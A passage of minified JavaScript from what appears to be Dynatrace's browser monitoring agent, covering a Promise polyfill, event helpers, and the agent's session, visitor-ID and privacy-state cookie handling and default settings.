1===k.ka?w.xe:w.ye;if(null===M)(1===k.ka?Ma:Ja)(w.promise,k.sa);else{try{var A=M(k.sa)}catch(Ta){Ja(w.promise,Ta);return}Ma(w.promise,A)}}))}function Ma(k,w){try{if(w===k)throw new TypeError("A promise cannot be resolved with itself.");if(w&&("object"===typeof w||"function"===typeof w)){var M=w.then;if(w instanceof na){k.ka=3;k.sa=w;fa(k);return}if("function"===typeof M){va(Aa(M,w),k);return}}k.ka=1;k.sa=w;fa(k)}catch(A){Ja(k,A)}}function Ja(k,w){k.ka=2;k.sa=w;fa(k)}function fa(k){2===k.ka&&0===k.Ha.length&&
na.Jb(function(){k.oc||na.Qc(k.sa)});for(var w=0,M=k.Ha.length;w<M;w++)ta(k,k.Ha[w]);k.Ha=null}function S(k,w,M){this.xe="function"===typeof k?k:null;this.ye="function"===typeof w?w:null;this.promise=M}function va(k,w){var M=!1;try{k(function(A){M||(M=!0,Ma(w,A))},function(A){M||(M=!0,Ja(w,A))})}catch(A){M||(M=!0,Ja(w,A))}}function ja(){K.Jb=function(k){if("string"===typeof k)throw Error("Promise polyfill called _immediateFn with string");k()};K.Qc=function(){};return K}function U(k,w){return parseInt(k,
w||10)}function eb(k){return document.getElementsByTagName(k)}function L(k){var w=k.length;if("number"===typeof w)k=w;else{w=0;for(var M=2048;k[M-1];)w=M,M+=M;for(var A=7;1<M-w;)A=(M+w)/2,k[A-1]?w=A:M=A;k=k[A]?M:w}return k}function C(k){for(var w=[],M=1;M<arguments.length;M++)w[M-1]=arguments[M];k.push.apply(k,w)}function H(k){k=encodeURIComponent(k);var w=[];if(k)for(var M=0;M<k.length;M++){var A=k.charAt(M);C(w,Fa[A]||A)}return w.join("")}function Q(k){-1<ra(k,"^")&&(k=k.split("^^").join("^"),k=
k.split("^dq").join('"'),k=k.split("^rb").join(">"),k=k.split("^lb").join("<"),k=k.split("^p").join("|"),k=k.split("^e").join("="),k=k.split("^s").join(";"),k=k.split("^c").join(","),k=k.split("^bs").join("\\"));return k}function ia(k,w){if(!k||!k.length)return-1;if(k.indexOf)return k.indexOf(w);for(var M=k.length;M--;)if(k[M]===w)return M;return-1}function W(k,w){var M;void 0===w&&(w=[]);if(!k||"object"!==typeof k&&"function"!==typeof k)return!1;var A="number"!==typeof w?w:[],Ta=null,xb=[];switch("number"===
typeof w?w:5){case 0:Ta="Array";xb.push("push");break;case 1:Ta="Boolean";break;case 2:Ta="Number";break;case 3:Ta="String";break;case 4:Ta="Function";break;case 5:Ta="Object";break;case 6:Ta="Date";xb.push("getTime");break;case 7:Ta="Error";xb.push("name","message");break;case 8:Ta="Element";break;case 9:Ta="HTMLElement";break;case 10:Ta="HTMLImageElement";xb.push("complete");break;case 11:Ta="PerformanceEntry";break;case 12:Ta="PerformanceTiming";break;case 13:Ta="PerformanceResourceTiming";break;
case 14:Ta="PerformanceNavigationTiming";break;case 15:Ta="CSSRule";xb.push("cssText","parentStyleSheet");break;case 16:Ta="CSSStyleSheet";xb.push("cssRules","insertRule");break;case 17:Ta="Request";xb.push("url");break;case 18:Ta="Response";xb.push("ok","status","statusText");break;case 19:Ta="Set";xb.push("add","entries","forEach");break;case 20:Ta="Map";xb.push("set","entries","forEach");break;case 21:Ta="Worker";xb.push("addEventListener","postMessage","terminate");break;case 22:Ta="XMLHttpRequest";
xb.push("open","send","setRequestHeader");break;case 23:Ta="SVGScriptElement";xb.push("ownerSVGElement","type");break;case 24:Ta="HTMLMetaElement";xb.push("httpEquiv","content","name");break;case 25:Ta="HTMLHeadElement";break;case 26:Ta="ArrayBuffer";break;case 27:Ta="ShadowRoot",xb.push("host","mode")}w=Ta;if(!w)return!1;xb=xb.length?xb:A;if(!A.length)try{if(Bb[w]&&k instanceof Bb[w]||Object.prototype.toString.call(k)==="[object "+w+"]")return!0;if(k&&k.nodeType&&1===k.nodeType){var ec=null===(M=
k.ownerDocument.defaultView)||void 0===M?void 0:M[w];if("function"===typeof ec&&k instanceof ec)return!0}}catch(uc){}for(M=0;M<xb.length;M++)if(A=xb[M],"string"!==typeof A&&"number"!==typeof A&&"symbol"!==typeof A||!(A in k))return!1;return!!xb.length}function la(k,w,M,A){"undefined"===typeof A&&(A=Ka(w,!0));"boolean"===typeof A&&(A=Ka(w,A));if(k===Bb)Ya?Ya(w,M,A):Pb&&Pb("on"+w,M);else if(cc&&W(k,21))lc.call(k,w,M,A);else if(k.addEventListener)if(k===Bb.document||k===Bb.document.documentElement)Sb.call(k,
w,M,A);else try{Ya.call(k,w,M,A)}catch(ec){k.addEventListener(w,M,A)}else k.attachEvent&&k.attachEvent("on"+w,M);A=!1;for(var Ta=$c.length;0<=--Ta;){var xb=$c[Ta];if(xb.object===k&&xb.event===w&&xb.da===M){A=!0;break}}A||C($c,{object:k,event:w,da:M})}function ua(k,w,M,A){for(var Ta=$c.length;0<=--Ta;){var xb=$c[Ta];if(xb.object===k&&xb.event===w&&xb.da===M){$c.splice(Ta,1);break}}"undefined"===typeof A&&(A=Ka(w,!0));"boolean"===typeof A&&(A=Ka(w,A));k===Bb?tb?tb(w,M,A):Pb&&Pb("on"+w,M):k.removeEventListener?
k===Bb.document||k===Bb.document.documentElement?Ub.call(k,w,M,A):tb.call(k,w,M,A):k.detachEvent&&k.detachEvent("on"+w,M)}function Ka(k,w){var M=!1;try{if(Ya&&-1<ia(Vd,k)){var A=Object.defineProperty({},"passive",{get:function(){M=!0}});Ya("test",Ea,A)}}catch(Ta){}return M?{passive:!0,capture:w}:w}function Hb(){for(var k=$c,w=k.length;0<=--w;){var M=k[w];ua(M.object,M.event,M.da)}$c=[]}function ib(k,w,M){if(M||2===arguments.length)for(var A=0,Ta=w.length,xb;A<Ta;A++)!xb&&A in w||(xb||(xb=Array.prototype.slice.call(w,
0,A)),xb[A]=w[A]);return k.concat(xb||Array.prototype.slice.call(w))}function aa(k){return"function"===typeof k&&/{\s+\[native code]/.test(Function.prototype.toString.call(k))}function qa(k,w){for(var M,A=[],Ta=2;Ta<arguments.length;Ta++)A[Ta-2]=arguments[Ta];return void 0!==Function.prototype.bind&&aa(Function.prototype.bind)?(M=Function.prototype.bind).call.apply(M,ib([k,w],A,!1)):function(){for(var xb=0;xb<arguments.length;xb++);return k.apply(w,(A||[]).concat(Array.prototype.slice.call(arguments)||
[]))}}function V(){if(yd){var k=new yd;if(Kd)for(var w=0,M=ie;w<M.length;w++){var A=M[w];void 0!==Kd[A]&&(k[A]=qa(Kd[A],k))}return k}return dd?new dd("MSXML2.XMLHTTP.3.0"):Bb.XMLHttpRequest?new Bb.XMLHttpRequest:new Bb.ActiveXObject("MSXML2.XMLHTTP.3.0")}function pa(){document.cookie="".concat("__dTCookie","=").concat("1",";SameSite=Lax");var k=-1!==document.cookie.indexOf("__dTCookie");document.cookie="".concat("__dTCookie","=").concat("1","; expires=Thu, 01-Jan-1970 00:00:01 GMT");return k}function Va(){return void 0===
Bb.dialogArguments?navigator.cookieEnabled||pa():pa()}function nb(){return Ne}function lb(k){Ne=k}function jb(k){var w=I("rid"),M=I("rpid");w&&(k.rid=w);M&&(k.rpid=M)}function Ab(k){if(k=k.xb){k=Q(k);try{Ne=new RegExp(k,"i")}catch(w){}}else Ne=void 0}function gc(k){return"n"===k||"s"===k||"l"===k?";SameSite=".concat(ig[k]):""}function Vb(k,w,M){var A=1,Ta=0;do document.cookie=k+'=""'+(w?";domain="+w:"")+";path="+M.substring(0,A)+"; expires=Thu, 01 Jan 1970 00:00:01 GMT;",A=M.indexOf("/",A),Ta++;while(-1!==
A&&5>Ta)}function Ha(k){var w={},M=0;for(k=k.split("|");M<k.length;M++){var A=k[M].split("=");2===A.length&&(w[A[0]]=decodeURIComponent(A[1].replace(/\+/g," ")))}return w}function yb(){var k=I("csu");return(k.indexOf("dbg")===k.length-3?k.substring(0,k.length-3):k)+"_"+I("app")+"_Store"}function vb(k,w,M){void 0===w&&(w={});var A=0;for(k=k.split("|");A<k.length;A++){var Ta=k[A],xb=Ta,ec=ra(Ta,"=");-1===ec?w[xb]="1":(xb=Ta.substring(0,ec),w[xb]=Ta.substring(ec+1,Ta.length))}!M&&(M=w,A=M.spc)&&(k=document.createElement("textarea"),
k.innerHTML=A,M.spc=k.value);return w}function ca(k){var w;return null!==(w=xc[k])&&void 0!==w?w:Yc[k]}function Oa(k){k=ca(k);return"false"===k||"0"===k?!1:!!k}function Za(k){var w=ca(k);w=U(w);isNaN(w)&&(w=Yc[k]);return w}function I(k){return String(ca(k)||"")}function ka(k,w){xc[k]=String(w)}function Ba(k){return xc=k}function $a(k){xc[k]=0>ra(xc[k],"#"+k.toUpperCase())?xc[k]:""}function Cb(k){var w=k.agentUri;w&&-1<ra(w,"_")&&(w=/([a-zA-Z]*)[0-9]{0,4}_([a-zA-Z_0-9]*)_[0-9]+/g.exec(w))&&w.length&&
2<w.length&&(k.csu=w[1],k.featureHash=w[2])}function bd(k){var w=k.domain||"";var M=(M=location.hostname)&&w?M===w||-1!==M.indexOf("."+w,M.length-("."+w).length):!0;if(!w||!M){k.domainOverride||(k.domainOriginal=k.domain||"",k.domainOverride="".concat(location.hostname,",").concat(w),delete k.domain);var A=I("cssm");var Ta=document.domain||"";if(Ta){Ta=Ta.split(".").reverse();var xb=Ta.length;if(1>=xb)A="";else{for(var ec=Ta[0],uc="",qc=1;qc<=xb;qc++)if(ba("dTValidationCookie")){uc=ec;break}else{Ta[qc]&&
(ec="".concat(Ta[qc],".").concat(ec));var ud="".concat("dTValidationCookie","=dTValidationCookieValue;path=/;domain=").concat(ec);ud+=gc(A);document.cookie=ud}Vb("dTValidationCookie",uc,"/");A=uc}}else A="";A&&(k.domain=A);M||C(me,{type:"dpi",severity:"Warning",text:'Configured domain "'.concat(w,'" is invalid for current location "').concat(location.hostname,'". Agent will use "').concat(k.domain,'" instead.')})}}function Qb(k,w){bd(k);var M=xc.pVO;M&&(k.pVO=M);w||(w=k.bp||Yc.bp,k.bp2&&(w=2),k.bp=
String(w))}function Zb(){return xc}function q(k){return Yc[k]===ca(k)}function D(){if(Bb.MobileAgent||Bb.dynatraceMobile){var k=db("dtAdkSettings");return Vf.dT_.p3SC(k).privacyState||null}return null}function t(){var k=D();return 2===k||1===k?!1:!Vf.dT_.bcv("coo")||Vf.dT_.bcv("cooO")||Vf.dT_.iSM()}function y(k,w){return!t()||Bb.dT_.overloadPrevention&&!mc()?null:k.apply(this,w||[])}function Y(k,w){try{var M=Ld;M&&M.setItem(k,w)}catch(A){}}function x(k,w){y(Y,[k,w])}function oa(k){try{var w=Ld;if(w)return w.getItem(k)}catch(M){}return null}
function R(k){try{var w=Ld;w&&w.removeItem(k)}catch(M){}}function O(k){document.cookie=k+'="";path=/'+(I("domain")?";domain="+I("domain"):"")+"; expires=Thu, 01 Jan 1970 00:00:01 GMT;"}function wa(k,w,M,A){Oe=!0;w||0===w?(w=String(w).replace(/[;\n\r]/g,"_"),k=k+"="+w+";path=/"+(I("domain")?";domain="+I("domain"):""),M&&(k+=";expires="+M.toUTCString()),k+=gc(I("cssm")),A&&"https:"===location.protocol&&(k+=";Secure"),document.cookie=k):O(k);Oe=!1}function Ga(k,w,M,A){y(wa,[k,w,M,A])}function Wa(k){return-1===
ra(k,"v_4")?!1:!0}function Eb(k){k=ba("dtCookie",k);k||((k=oa("dtCookie"))&&Wa(k)?Lb(k):k="");return Wa(k)?k:""}function Lb(k){Ga("dtCookie",k,void 0,Oa("ssc"))}function Nb(k){return(k=k||Eb())?Oc(k):{sessionId:"",serverId:"",overloadState:0}}function ac(k){return Nb(k).serverId}function rc(k){return Nb(k).sessionId}function mc(){return 0<=ra(navigator.userAgent,"RuxitSynthetic")}function Oc(k){var w={sessionId:"",serverId:"",overloadState:0},M=k.split("_");if(2<M.length&&0===M.length%2){k=Number(M[1]);
if(isNaN(k)||3>k)return w;k={};for(var A=2;A<M.length;A++)k[M[A]]=M[A+1],A++;k.sn?(M=k.sn,M=M.length===cd||12>=M.length?M:""):M="hybrid";w.sessionId=M;if(k.srv){a:{M=k.srv.replace("-2D","-");if(!isNaN(Number(M))&&(A=U(M),-99<=A&&99>=A))break a;M=""}w.serverId=M}M=Number(k.ol);if(1===M){A=mc();var Ta=Bb.dT_;A||(x("dtDisabled","true"),Ta.disabled=!0,Ta.overloadPrevention=!0)}0<=M&&2>=M&&(w.overloadState=M);k=Number(k.prv);isNaN(k)||(w.privacyState=1>k||4<k?1:k)}return w}function Kc(){return Vc()}function gd(k,
w){function M(){delete Bg[xb];k.apply(this,arguments)}for(var A=[],Ta=2;Ta<arguments.length;Ta++)A[Ta-2]=arguments[Ta];if("apply"in Ee){A.unshift(M,w);var xb=Ee.apply(Bb,A)}else xb=Ee(M,w);Bg[xb]=!0;return xb}function ma(k){delete Bg[k];"apply"in Fe?Fe.call(Bb,k):Fe(k)}function Ca(k){C(tf,k)}function Ra(k){for(var w=tf.length;w--;)if(tf[w]===k){tf.splice(w,1);break}}function Sa(){return tf}function Db(k,w){return mi(k,w)}function Yb(k){Ge(k)}function Na(k,w){if(!Wd||!jg)return"";k=new Wd([k],{type:w});
return jg(k)}function oc(k,w){return je?new je(k,w):void 0}function rb(k){"function"===typeof k&&C(Wf,k)}function wb(){return Wf}function pc(){return Jd}function Sc(k){return function(){for(var w=[],M=0;M<arguments.length;M++)w[M]=arguments[M];if("number"!==typeof w[0]||!Bg[w[0]])try{return k.apply(this,w)}catch(A){return k(w[0])}}}function ed(){return me}function $b(){J=Ua;Bb.performance&&(Vc=function(){return Math.round(J()+ab())});if(!Vc||isNaN(Vc())||0>=Vc()||!isFinite(Vc()))Vc=function(){return(new Date).getTime()}}
function Ac(){kg&&(Bb.clearTimeout=Fe,Bb.clearInterval=Ge,kg=!1)}function Ic(k,w){try{Bb.localStorage&&Bb.localStorage.setItem(k,w)}catch(M){}}function Nc(k){try{Bb.localStorage&&Bb.localStorage.removeItem(k)}catch(w){}}function qd(){Nc("rxec");Nc("rxvisitid");Nc("rxvt")}function ad(k){t()?k():(Cf||(Cf=[]),C(Cf,k))}function dc(k){return y(k)}function Lc(){if(Oa("coo")&&!t()){for(var k=0,w=Cf;k<w.length;k++)gd(w[k],0);Cf=[];ka("cooO",!0)}}function jd(){if(Oa("coo")&&t()){ka("cooO",!1);O("dtCookie");
O("dtPC");O("dtLatC");O("dtSa");O("dtAdk");O("rxVisitor");O("rxvt");try{R("rxec");R("rxvisitid");R("rxvt");qd();var k=Ld;k&&(k.removeItem("rxVisitor"),k.removeItem("dtCookie"));if(k=lg)k.removeItem(yb()),k.removeItem("dtAdk")}catch(w){}}}function bc(k,w){void 0===w&&(w=document.cookie||"");return w.split(k+"=").length-1}function ic(k,w){var M=bc(k,w);if(1<M){w=I("domain")||Bb.location.hostname;var A=Bb.location.hostname,Ta=Bb.location.pathname,xb=0,ec=0;nf.push(k);do{var uc=A.substring(xb);if(uc!==
w||"/"!==Ta){Vb(k,uc===w?"":uc,Ta);var qc=bc(k);qc<M&&(nf.push(uc),M=qc)}xb=A.indexOf(".",xb)+1;ec++}while(0!==xb&&10>ec&&1<M);I("domain")&&1<M&&Vb(k,"",Ta)}}function Pd(){var k=document.cookie;ic("dtPC",k);ic("dtCookie",k);ic("dtLatC",k);ic("rxvt",k);0<nf.length&&C(me,{severity:"Error",type:"dcn",text:"Duplicate cookie name".concat(1!==nf.length?"s":""," detected: ").concat(nf.join(", "))});Ca(function(w,M,A,Ta){0<nf.length&&!M&&(w.av(Ta,"dCN",nf.join(",")),nf=[]);0<ih.length&&!M&&(w.av(Ta,"eCC",
ih.join(",")),ih=[])})}function af(k){var w=k,M=Math.pow(2,32);return function(){w=(1664525*w+1013904223)%M;return w/M}}function Se(k,w){return isNaN(k)||isNaN(w)?Math.floor(33*Rg()):Math.floor(Rg()*(w-k+1))+k}function Qd(k){if(!k)return"";var w=Bb.crypto||Bb.msCrypto;if(w&&-1===ra(navigator.userAgent,"Googlebot"))w=w.getRandomValues(new Uint8Array(k));else{w=[];for(var M=0;M<k;M++)w.push(Se(0,32))}k=[];for(M=0;M<w.length;M++){var A=Math.abs(w[M]%32);k.push(String.fromCharCode(A+(9>=A?48:55)))}return k.join("")}
function ke(){return of}function Wc(k){k&&(null===k||void 0===k?0:k.configurable)&&k.set&&k.get&&Object.defineProperty(document,"cookie",{get:function(){return k.get.call(document)},set:function(w){var M=w.split("=")[0];k.set.call(document,w);Oe?1<bc(M)&&nf.push(M):-1<ia(Xf,M)&&(ih.push(M),-1===ia(Sg,M)&&(C(Sg,M),C(me,{severity:"Error",type:"ecm",text:"Invalid modification of agent cookie ".concat(M," detected. Modifying Dynatrace cookies may result in missing or invalid data.")})))}})}function Te(k){void 0===
k&&(k=!0);Cg=k}function Bd(k,w,M){var A=Za("pcl");A=k.length-A;0<A&&k.splice(0,A);A=ac(ba("dtCookie",M));for(var Ta=[],xb=A?"".concat(A,"$"):"",ec=0;ec<k.length;ec++){var uc=k[ec];"-"!==uc.G&&Ta.push("".concat(xb).concat(uc.frameId,"h").concat(uc.G))}k=Ta.join("p");k||(Cg&&(E(!0,"a",M),Te(!1)),k+="".concat(A,"$").concat(of,"h-"));k+="v".concat(w||ye(M));Ga("dtPC",k+"e0",void 0,Oa("ssc"))}function Rd(k,w){void 0===w&&(w=document.cookie);var M=ba("dtPC",w);w=[];if(M&&"-"!==M){var A="";var Ta=0;for(M=
M.split("p");Ta<M.length;Ta++){var xb=M[Ta],ec=A,uc=k;void 0===ec&&(ec="");A=ra(xb,"$");var qc=ra(xb,"h");var ud=ra(xb,"v"),We=ra(xb,"e");A=xb.substring(A+1,qc);qc=-1!==ud?xb.substring(qc+1,ud):xb.substring(qc+1);ec||-1===ud||(ec=-1!==We?xb.substring(ud+1,We):xb.substring(ud+1));xb=null;uc||(uc=U(A.split("_")[0]),ud=Vc()%Tg,ud<uc&&(ud+=Tg),uc=uc+9E5>ud);uc&&(xb={frameId:A,G:"-"===qc?"-":U(qc),visitId:""});A=ec;(qc=xb)&&w.push(qc)}for(k=0;k<w.length;k++)w[k].visitId=A}return w}function Xe(k,w){var M=
document.cookie;w=Rd(w,M);for(var A=!1,Ta=0;Ta<w.length;Ta++){var xb=w[Ta];xb.frameId===of&&(xb.G=k,A=!0)}A||C(w,{frameId:of,G:k,visitId:""});Bd(w,void 0,M)}function ye(k){return zd(k)||E(!0,"c",k)}function zd(k){if(fc(k)<=Vc())return E(!0,"t",k);var w=vd(k);if(!w)return E(!0,"c",k);var M=ni.exec(w);if(!M||3!==M.length||32!==M[1].length||isNaN(U(M[2])))return E(!0,"i",k);x("rxvisitid",w);return w}function ze(k,w){var M=Vc();w=Ib(w).Gc;k&&(w=M);bb(M+Df+"|"+w);sa()}function ne(k){var w="t"+(Vc()-fc(k)),
M=vd(k),A=He();ve(A,k);N(A,w,M)}function vd(k){var w,M;return null!==(M=null===(w=Rd(!0,k)[0])||void 0===w?void 0:w.visitId)&&void 0!==M?M:oa("rxvisitid")}function He(){var k=Qd(cd);k=k.replace(/[0-9]/g,function(w){w=.1*U(w);return String.fromCharCode(Math.floor(25*w+65))});return k+"-0"}function ve(k,w){var M=Rd(!1,w);Bd(M,k,w);x("rxvisitid",k);ze(!0)}function u(k,w,M){return E(k,w,M)}function E(k,w,M){k&&(Ef=!0);k=vd(M);M=He();ve(M);N(M,w,k);return M}function N(k,w,M){if(vd(document.cookie))for(var A=
0,Ta=Yf;A<Ta.length;A++)(0,Ta[A])(k,Ef,w,M)}function ha(k){Yf.push(k)}function sa(k){wd&&ma(wd);wd=gd(Ia,fc(k)-Vc())}function Ia(){var k=document.cookie;if(fc(k)<=Vc())return y(ne,[k]),!0;ad(sa);return!1}function bb(k){Ga("rxvt",k,void 0,Oa("ssc"));x("rxvt",k)}function cb(k,w){(w=ba(k,w))||(w=oa(k)||"");return w}function Fb(){var k=zd()||"";x("rxvisitid",k);k=cb("rxvt");bb(k);qd()}function Ib(k){var w={Ad:0,Gc:0};if(k=cb("rxvt",k))try{var M=k.split("|");2===M.length&&(w.Ad=parseInt(M[0],10),w.Gc=
parseInt(M[1],10))}catch(A){}return w}function fc(k){k=Ib(k);return Math.min(k.Ad,k.Gc+Mf)}function Ec(k){Df=k}function ld(){var k=Ef;Ef=!1;return k}function fd(){Ia()||ze(!1)}function hd(k){try{if(Bb.localStorage)return Bb.localStorage.getItem(k)}catch(w){}return null}function od(){var k=ba("rxVisitor");k&&45===(null===k||void 0===k?void 0:k.length)||(k=hd("rxVisitor")||oa("rxVisitor"),45!==(null===k||void 0===k?void 0:k.length)&&(Nf=!0,k=String(Vc()),k+=Qd(45-k.length)));we(k);return k}function we(k){if(Oa("dpvc")||
Oa("pVO"))x("rxVisitor",k);else{var w=new Date;var M=w.getMonth()+Math.min(24,Math.max(1,Za("rvcl")));w.setMonth(M);y(Ic,["rxVisitor",k])}Ga("rxVisitor",k,w,Oa("ssc"))}function ce(){return Nf}function Xd(k){var w=ba("rxVisitor");O("rxVisitor");R("rxVisitor");Nc("rxVisitor");ka("pVO",!0);we(w);k&&y(Ic,["dt-pVO","1"]);Fb()}function Hd(){Nc("dt-pVO");Oa("pVO")&&(ka("pVO",!1),od());R("rxVisitor");Fb()}function xf(k,w,M,A,Ta){var xb=document.createElement("script");xb.setAttribute("src",k);w&&xb.setAttribute("defer",
"defer");M&&(xb.onload=M);A&&(xb.onerror=A);Ta&&xb.setAttribute("id",Ta);xb.setAttribute("crossorigin","anonymous");k=document.getElementsByTagName("script")[0];k.parentElement.insertBefore(xb,k)}function Of(k,w){return Ff+"/"+(w||Ug)+"_"+k+"_"+(Za("buildNumber")||Bb.dT_.version)+".js"}function Dg(){var k,w;try{null===(w=null===(k=Bb.MobileAgent)||void 0===k?void 0:k.incrementActionCount)||void 0===w?void 0:w.call(k)}catch(M){}}function jh(){var k,w=Bb.dT_;Bb.dT_=(k={},k.di=0,k.version="10243220606153550",
k.cfg=w?w.cfg:"",k.iCE=w?Va:function(){return navigator.cookieEnabled},k.ica=1,k.disabled=!1,k.overloadPrevention=!1,k.gAST=pc,k.ww=oc,k.stu=Na,k.nw=Kc,k.apush=C,k.st=gd,k.si=Db,k.aBPSL=Ca,k.rBPSL=Ra,k.gBPSL=Sa,k.aBPSCC=rb,k.gBPSCC=wb,k.buildType="dynatrace",k.gSSV=oa,k.sSSV=x,k.rSSV=R,k.rvl=Nc,k.pn=U,k.iVSC=Wa,k.p3SC=Oc,k.io=ra,k.dC=O,k.sC=Ga,k.esc=H,k.gSId=ac,k.gDtc=rc,k.gSC=Eb,k.sSC=Lb,k.gC=db,k.cRN=Se,k.cRS=Qd,k.gEL=L,k.gEBTN=eb,k.cfgO=Zb,k.pCfg=Ha,k.pCSAA=vb,k.cFHFAU=Cb,k.sCD=Qb,k.bcv=Oa,k.ncv=
Za,k.scv=I,k.stcv=ka,k.rplC=Ba,k.cLSCK=yb,k.gFId=ke,k.gBAU=Of,k.iS=xf,k.eWE=ad,k.oEIE=dc,k.oEIEWA=y,k.eA=Lc,k.dA=jd,k.iNV=ce,k.gVID=od,k.dPV=Xd,k.ePV=Hd,k.sVIdUP=Te,k.sVTT=Ec,k.sVID=ve,k.rVID=zd,k.gVI=ye,k.gNVIdN=u,k.gARnVF=ld,k.cAUV=fd,k.uVT=ze,k.aNVL=ha,k.gPC=Rd,k.cPC=Xe,k.sPC=Bd,k.clB=Ac,k.ct=ma,k.aRI=jb,k.iXB=Ab,k.gXBR=nb,k.sXBR=lb,k.de=Q,k.cCL=La,k.iEC=Dg,k.rnw=ab,k.gto=za,k.ael=la,k.rel=ua,k.sup=Ka,k.cuel=Hb,k.iAEPOO=t,k.iSM=mc,k.aIOf=ia,k.gxwp=V,k.iIO=W,k.prm=ja,k.cI=Yb,k.gidi=ed,k.iDCV=q,
k.gCF=ba,k.gPSMB=D,k.lvl=hd,k)}function pf(){ad(function(){if(!rc()){var k=-1*Se(2,99),w=Qd(cd);Lb("v_4_srv_".concat(String(k).replace("-","-2D"),"_sn_").concat(w))}})}var Vf="undefined"!==typeof window?window:self,Bb="undefined"!==typeof window?window:self,tg,J,B=setTimeout;na.prototype["catch"]=function(k){return this.then(null,k)};na.prototype.then=function(k,w){var M=new this.constructor(Z);ta(this,new S(k,w,M));return M};na.prototype["finally"]=function(k){var w=this.constructor;return this.then(function(M){return w.resolve(k()).then(function(){return M})},
function(M){return w.resolve(k()).then(function(){return w.reject(M)})})};na.all=function(k){return new na(function(w,M){function A(uc,qc){try{if(qc&&("object"===typeof qc||"function"===typeof qc)){var ud=qc.then;if("function"===typeof ud){ud.call(qc,function(We){A(uc,We)},M);return}}Ta[uc]=qc;0===--xb&&w(Ta)}catch(We){M(We)}}if(!k||"undefined"===typeof k.length)return M(new TypeError("Promise.all accepts an array"));var Ta=Array.prototype.slice.call(k);if(0===Ta.length)return w([]);for(var xb=Ta.length,
ec=0;ec<Ta.length;ec++)A(ec,Ta[ec])})};na.allSettled=function(k){return new this(function(w,M){function A(ec,uc){if(uc&&("object"===typeof uc||"function"===typeof uc)){var qc=uc.then;if("function"===typeof qc){qc.call(uc,function(ud){A(ec,ud)},function(ud){Ta[ec]={status:"rejected",reason:ud};0===--xb&&w(Ta)});return}}Ta[ec]={status:"fulfilled",value:uc};0===--xb&&w(Ta)}if(!k||"undefined"===typeof k.length)return M(new TypeError(typeof k+" "+k+" is not iterable(cannot read property Symbol(Symbol.iterator))"));
var Ta=Array.prototype.slice.call(k);if(0===Ta.length)return w([]);var xb=Ta.length;for(M=0;M<Ta.length;M++)A(M,Ta[M])})};na.resolve=function(k){return k&&"object"===typeof k&&k.constructor===na?k:new na(function(w){w(k)})};na.reject=function(k){return new na(function(w,M){M(k)})};na.race=function(k){return new na(function(w,M){if(!k||"undefined"===typeof k.length)return M(new TypeError("Promise.race accepts an array"));for(var A=0,Ta=k.length;A<Ta;A++)na.resolve(k[A]).then(w,M)})};na.Jb="function"===
typeof setImmediate&&function(k){setImmediate(k)}||function(k){B(k,0)};na.Qc=function(k){"undefined"!==typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",k)};var K=na,Fa={"!":"%21","~":"%7E","*":"%2A","(":"%28",")":"%29","'":"%27",$:"%24",";":"%3B",",":"%2C"},Ya,tb,Sb,Ub,Pb=Bb.attachEvent,cc=Bb.Worker,lc=cc&&cc.prototype.addEventListener,$c=[],Vd=["touchstart","touchend","scroll"],yd,dd,ie="abort getAllResponseHeaders getResponseHeader open overrideMimeType send setRequestHeader".split(" "),
Kd,Ne,Yc,Ce,ig=(Ce={},Ce.l="Lax",Ce.s="Strict",Ce.n="None",Ce),xc={},Ld,Oe=!1,cd=32,je=Bb.Worker,Wd=Bb.Blob,jg=Bb.URL&&Bb.URL.createObjectURL,Fe,Ge,Ee,mi,kg=!1,tf,Wf=[],me=[],Jd,lg,Bg={},Vc,Cf=[],nf=[],ih=[],Rg,Eg,of,Tg=6E8,Xf=[],Sg=[],Cg=!1,ni=/([A-Z]+)-([0-9]+)/,Yf=[],Df,Mf,Ef=!1,wd,Nf=!1,Ye,Ff,Ug;(function(k){var w,M;k=k||0>(null===(w=navigator.userAgent)||void 0===w?void 0:w.indexOf("RuxitSynthetic"));if(!Bb.dT_||!Bb.dT_.cfg||"string"!==typeof Bb.dT_.cfg||"initialized"in Bb.dT_&&Bb.dT_.initialized)null===
(M=Bb.console)||void 0===M?void 0:M.log("InitConfig not found or agent already initialized! This is an injection issue."),Bb.dT_&&(Bb.dT_.di=3);else if(k)try{jh();var A;Yc=(A={},A.ade="",A.aew=!0,A.apn="",A.agentLocation="",A.agentUri="",A.app="",A.async=!1,A.ase=!1,A.auto=!1,A.bp1=!1,A.bp2=!1,A.bp=1,A.bisaoi=!1,A.bisCmE="",A.bs=!1,A.buildNumber=0,A.csprv=!0,A.cepl=16E3,A.cls=!0,A.ccNcss=!1,A.cg=!1,A.coo=!1,A.cooO=!1,A.cssm="0",A.cwt="",A.cwtUrl="27pd8x1igg",A.cors=!1,A.csu="",A.cuc="",A.cce=!1,A.cux=
!1,A.dataDtConfig="",A.debugName="",A.dvl=500,A.dASXH=!1,A.disableCookieManager=!1,A.disableLogging=!1,A.dmo=!1,A.doel=!1,A.dpch=!1,A.dpvc=!1,A.disableXhrFailures=!1,A.domain="",A.domainOverride="",A.domainOriginal="",A.doNotDetect="",A.ds=!0,A.dsndb=!1,A.dsa=!1,A.dsss=!1,A.dssv=!0,A.earxa=!0,A.exp=!1,A.eni=!0,A.erjdw=!0,A.expw=!1,A.instr="",A.evl="",A.extblacklist="",A.euf=!1,A.fau=!0,A.fa=!1,A.fvdi=!1,A.featureHash="",A.hvt=216E5,A.ffi=!1,A.imm=!1,A.ign="",A.iub="",A.iqvn=!1,A.initializedModules=
"",A.lastModification=0,A.lupr=!0,A.lab=!1,A.legacy=!1,A.lt=!0,A.mb="",A.md="",A.mdp="",A.mdl="",A.mcepsl=100,A.mdn=5E3,A.mhl=4E3,A.mpl=1024,A.mmds=2E4,A.msl=3E4,A.bismepl=2E3,A.mel=200,A.mepp=10,A.moa=30,A.mrt=3,A.ntd=!1,A.ncw=!1,A.oat=180,A.ote=!1,A.owasp=!1,A.pcl=20,A.pt=!0,A.perfbv=1,A.prfSmpl=0,A.pVO=!1,A.peti=!1,A.raxeh=!0,A.rdnt=0,A.nosr=!0,A.reportUrl="dynaTraceMonitor",A.rid="",A.ridPath="",A.rpid="",A.rcdec=12096E5,A.rtl=0,A.rtp=2,A.rtt=1E3,A.rtu=200,A.restoreTimeline=!1,A.rvcl=24,A.sl=
